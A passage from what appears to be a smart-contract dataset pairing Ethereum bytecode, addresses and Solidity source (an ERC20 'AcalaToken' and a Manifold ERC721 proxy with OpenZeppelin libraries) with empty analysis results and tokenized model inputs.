0408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b1565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a908690610899565b60606005805461020b906108c8565b60606040518060600160405280602f815260200161091a602f9139905090565b60606004805461020b906108c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b1565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610719908490610899565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a0578081fd5b6107a982610773565b9392505050565b600080604083850312156107c2578081fd5b6107cb83610773565b91506107d960208401610773565b90509250929050565b6000806000606084860312156107f6578081fd5b6107ff84610773565b925061080d60208501610773565b9150604084013590509250925092565b6000806040838503121561082f578182fd5b61083883610773565b946020939093013593505050565b6000602080835283518082850152825b8181101561087257858101830151858201604001528201610856565b818111156108835783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108ac576108ac610903565b500190565b6000828210156108c3576108c3610903565b500390565b600181811c908216806108dc57607f821691505b602082108114156108fd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a26469706673582212200315b04416bc8583c10593e3cb96b647a898c96162e4c292753f8ea5ec5a123164736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 2278, 27009, 2063, 14142, 16703, 2094, 17134, 2683, 2581, 2581, 2683, 17914, 2497, 22610, 2692, 29292, 2629, 6679, 2581, 2278, 2692, 4783, 24087, 2278, 2692, 2098, 2620, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 19204, 2038, 2042, 7013, 2005, 2489, 2478, 16770, 1024, 1013, 1013, 6819, 9284, 22311, 27108, 2072, 1012, 21025, 2705, 12083, 1012, 22834, 1013, 9413, 2278, 11387, 1011, 13103, 1013, 1008, 1008, 3602, 1024, 1000, 3206, 3120, 3642, 20119, 1006, 2714, 2674, 1007, 1000, 2965, 2008, 2023, 19204, 2003, 2714, 2000, 2060, 19204, 2015, 7333, 1008, 2478, 1996, 2168, 13103, 1012, 2009, 2003, 2025, 2019, 3277, 1012, 2009, 2965, 2008, 2017, 2180, 1005, 1056, 2342, 2000, 20410, 2115, 3120, 3642, 2138, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,827
0x95c5CD1f07e50073e42E902FC71359C9c90BBbaB
pragma solidity ^0.4.18; //import "./ERC20.sol"; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } //import "./BasicToken.sol"; /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } //import "../token/ERC20/StandardToken.sol"; /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract AcalaToken is StandardToken { string public constant name = "ACALA"; string public constant symbol = "ACALA"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 50 * 10000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ function AcalaToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806366188463146102c057806370a082311461032557806395d89b411461037c578063a9059cbb1461040c578063d73dd62314610471578063dd62ed3e146104d6575b600080fd5b3480156100cb57600080fd5b506100d461054d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610678565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610682565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610a3c565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610a4c565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a51565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b50610366600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ce2565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610d2a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d15780820151818401526020810190506103b6565b50505050905090810190601f1680156103fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041857600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d63565b604051808215151515815260200191505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f82565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061117e565b6040518082815260200191505060405180910390f35b6040805190810160405280600581526020017f4143414c4100000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156106bf57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561070c57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561079757600080fd5b6107e8826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061087b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061094c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a6207a1200281565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b62576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bf6565b610b75838261120590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600581526020017f4143414c4100000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610da057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ded57600080fd5b610e3e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ed1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061101382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561121357fe5b818303905092915050565b600080828401905083811015151561123257fe5b80915050929150505600a165627a7a72305820310bd849e0b5c7a745a2ae41d65b3fd129c10c363b13dacf8d0567844ac0540d0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 2278, 2629, 19797, 2487, 2546, 2692, 2581, 2063, 29345, 2581, 2509, 2063, 20958, 2063, 21057, 2475, 11329, 2581, 17134, 28154, 2278, 2683, 2278, 21057, 10322, 3676, 2497, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1013, 12324, 1000, 1012, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 3206, 9413, 2278, 11387, 22083, 2594, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,828
0x95c6057f718d4797467e575c5267d7b981ac5829
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: The 100 Club /// @author: manifold.xyz import "./ERC721Creator.sol"; ////////////////////////////////////////////////////////////////// // // // // // _ _ _ ___ ___ _ _ // // | |_| |__ ___ / |/ _ \ / _ \ ___| |_ _| |__ // // | __| '_ \ / _ \ | | | | | | | | / __| | | | | '_ \ // // | |_| | | | __/ | | |_| | |_| | | (__| | |_| | |_) | // // \__|_|_|_|\___| |_|\___/ \___/_ \___|_|\__,_|_.__/ // // | _ \| |/ / | / ___| | | | | | __ ) // // | |_) | ' /| | | | | | | | | | _ \ // // | _ <| . \| |___ | |___| |__| |_| | |_) | // // |_| \_\_|\_\_____| _\____|_____\___/|____/ // // (_) __ _ _ __ ___ | | _____ _ __ __ _ // // | |/ _` | '_ ` _ \| |/ / _ \| '_ \ / _` | // // | | (_| | | | | | | < (_) | | | | (_| | // // |_|\__,_|_| |_| |_|_|\_\___/|_| |_|\__, | // // |___/ // // // // // // // ////////////////////////////////////////////////////////////////// contract C100 is ERC721Creator { constructor() ERC721Creator("The 100 Club", "C100") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This 